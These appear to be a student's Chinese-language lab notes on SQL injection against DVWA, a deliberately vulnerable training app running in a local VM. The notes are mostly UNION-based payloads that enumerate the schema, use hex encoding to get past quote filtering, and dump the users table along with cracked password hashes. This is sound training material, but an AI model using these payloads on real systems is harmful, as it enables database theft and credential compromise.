以下ip均为dwva靶场的ip地址,这里我搭建在虚拟机win2008中
1' and 1=1 #
1' and 1=1 order by 2#
1' and 1=1 order by 3#
1' and 1=2 union select 1,2 #
1' and 1=2 union select 1,database() #
数据库名为dvwa
查询一下数据库名
1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata) #
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hA2XDmLD-1626704824931)(实验三.assets/image-20210622163600637.png)]
1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #
1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #
1' and 1=2 union select (select group_concat(user) from dvwa.users),(select group_concat(password) from dvwa.users) #
用户名:admin
密码:5f4dcc3b5aa765d61d8327deb882cf99 解密:password
用户名:gordonb
密码:e99a18c428cb38d5f260853678922e03 解密:abc123
用户名:1337
密码:8d3533d75ae2c3966d7e0d4fcc69216b 解密:charley 等
html 锚点,# 表示返回当前页面
id=1 and 1=1 //正确
id=1 and 1=2 //错误
id=1 order by 2
id=1 order by 3
id=1 and i=2 union select 1,2
id=1 and 1=2 union select 1,database()
数据库名为dvwa
查询一下数据库名
id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)
id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') //报错,发现单引号被过滤,这里可以使用database()或者转换成16进制ascii码
id=1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()//正确
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273//转换成16进制ascii码
id=1 and 1=2 union select (select group_concat(user) from dvwa.users),(select group_concat(password) from dvwa.users)
用户名:admin
密码:5f4dcc3b5aa765d61d8327deb882cf99 解密:password
用户名:gordonb
密码:e99a18c428cb38d5f260853678922e03 解密:abc123
用户名:1337
密码:8d3533d75ae2c3966d7e0d4fcc69216b 解密:charley
id=1'//报错
id=1' and 1=1 #//正确
id=1' and 1=2 #//错误
1' and 1=1 order by 2#
1' and 1=1 order by 3#
1' and 1=2 union select 1,2 #
1' and 1=2 union select 1,database() #
1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata) #
1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #
1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #
1' and 1=2 union select (select group_concat(user) from dvwa.users),(select group_concat(password) from dvwa.users) #
用户名:admin
密码:5f4dcc3b5aa765d61d8327deb882cf99 解密:password
用户名:gordonb
密码:e99a18c428cb38d5f260853678922e03 解密:abc123
用户名:1337
密码:8d3533d75ae2c3966d7e0d4fcc69216b 解密:charley 等